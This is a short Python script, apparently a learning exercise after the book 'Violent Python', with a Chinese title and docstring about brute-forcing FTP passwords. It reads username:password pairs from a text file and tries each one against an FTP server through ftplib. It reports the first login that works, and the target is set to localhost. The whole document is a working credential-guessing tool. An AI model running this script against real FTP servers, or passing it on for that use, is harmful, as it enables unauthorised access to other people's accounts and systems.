Violent Python FTPlib暴力i破解FTP用户口令

# coding=UTF-8
# time: 18-1-5: 上午11:12 
# Author: Xifeng2009
'''
FTPlib暴力i破解FTP用户口令
口令以“用户名：密码”对的方式存储在txt文件中
'''
import ftplib




Found = False


def bruteLogin(hostname, passwdFile):


    global Found
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print("[+] Trying: " + userName + "/" + passWord)
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print("\n[*] " + str(hostname) + "FTP Logon Succeeded: "
                  + userName + "/" + passWord)
            ftp.quit()
            Found = True
            return (userName, passWord)
        except Exception as e:
            print(str(e))
            pass
    if Found == False:
        print("\n[-] Could not brute force FTP credentials.")
        return (None, None)


host = '127.0.0.1'
passwdFile = 'test.txt'
bruteLogin(host, passwdFile)